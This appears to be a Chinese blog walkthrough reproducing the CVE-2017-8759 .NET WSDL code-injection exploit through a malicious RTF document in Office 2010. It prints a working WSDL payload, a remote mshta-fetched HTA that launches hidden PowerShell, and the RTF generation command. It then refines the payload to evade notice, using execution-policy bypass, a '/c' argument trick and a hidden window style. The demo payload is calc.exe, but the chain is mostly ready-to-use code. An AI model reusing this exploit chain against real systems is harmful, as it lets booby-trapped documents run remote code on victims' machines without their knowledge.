漏洞原理移步 安全客.
环境 Windows7, Office 2010.
复现过程
bhdresh/CVE-2017-8759
搭建服务器, 创建 exploit.txt 并更改 URL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>
|
同目录下创建 cmd.hta.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<html>
<head>
<script language="VBScript">
Sub window_onload
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set Process = Service.Get("Win32_Process")
Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID)
window.close()
end sub
</script>
</head>
</html>
|
生成文档.
1
|
cve-2017-8759_toolkit.py -M gen -w test.rtf -u http://192.168.1.1:8000/exploit.txt
|
打开文档.
复现成功, 命令只执行了一次, 但这里会先闪一下 hta 的窗口.
最开始复现的时候我有两个问题: 1. 为什么要通过 hta 执行 2. 为什么不能直接在 exploit.txt 中一次执行成功而非要用 hta.
改进载荷
关于第一个问题, 请看代码.
1
2
3
4
5
6
|
<soap:address location="http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
|
拼接在源文件中是这样的.
1
2
3
4
5
6
7
8
9
10
11
|
......
public Image()
{
base.ConfigureProxy(this.GetType(), @"http://192.168.1.1?C:\Windows\System32\mshta.exe?http://192.168.1.1:8000/cmd.hta");
//base.ConfigureProxy(this.GetType(),@";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //");
}
......
|
原理中也提到了, 这是 .Net 一处拼接错误而导致的代码执行漏洞, 也就是说理论上我们能够执行任意代码.
而 xml 中的 location, 通过 ? 被分割成三个部分, 然后提取第二部分作为执行文件, 第三部分作为命令参数.
所以这个其实跟空格没有半点关系, 完全就是为了方便通过 ? 截取到命令和参数两个部分, 而第一个部分只是针对 .Net 的验证罢了, 只要符合 URL 规范就行. 之所以在这里要费劲心思截取 url 是因为 xml 语法的问题, 但 C# 的单引号只表示单个字符.
关于第二个问题, 为什么要通过 hta 执行?
如果说是针对低版本系统例如 2003, 那么其实还有很多种选择, 比如 regsvr32, regsvcs, 甚至你也可以直接通过下载 exe 来执行, 但这里访问的 hta 里执行的命令是 powershell, 那么为什么不直接一步到位呢?
前面说了, 这是代码执行漏洞, 理论上我们能够执行任意代码, 同样, 通过 Process.Start 启动的进程理论上也可以是任意文件, 比如.
1
|
<soap:address location="http://192.168.1.1?C:\Windows\System32\cmd.exe?/c calc.exe"/>
|
这样是能够执行成功的, 但如果换成 powershell 呢?
1
|
<soap:address location="http://192.168.1.1?C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?-c calc.exe"/>
|
执行失败了. 我们仔细想想这两行代码之间有什么区别, 前者的命令参数是 /c, 后者的命令参数是 -c.
推测是 - 这个字符导致命令执行不成功的, 下面就要引入一个新姿势了.
1
|
powershell.exe /c calc.exe
|
这是可以成功的, 适用于大部分参数.
加上一点其它东西, 那么代码就可以改成.
1
|
<soap:address location="http://192.168.1.1?C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?/ep bypass /noprofile /w hidden /c calc.exe"/>
|
执行成功. 不过你会发现 powershell 窗口还是会一闪而过, 即使我们指定了 /w hidden, 怎么办呢?
基于 C# 的特性, 我们可以通过 System.Diagnostics.Process.StartInfo 创建一个进程并将窗口设置为 hidden, 就像这样.
1
2
3
4
|
p.FileName = _url.Split('?')[1];
p.Arguments = _url.Split('?')[2];
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
System.Diagnostics.Process.Start(p);
|
重新打开文档, 将会自动弹出计算器而不是先显示一遍窗口 :)
一些话
在写下这篇文章的时候又测试了一遍, 发现 -c 其实是可以执行成功的, 但通过带宏文档复现的时候确实是执行失败了, 只能通过 /c 方式绕过, 不过使用宏这种方式利用已经是很鸡肋的了, 还有很多比这更简单的方法.
上文中原来的 Payload 其实就是将行为和特征分离, 不过过程对我来说也算是一种尝试吧.
另外对于 rtf 的其它细节在之前的文章中已经讲过, 就不再重复说明了.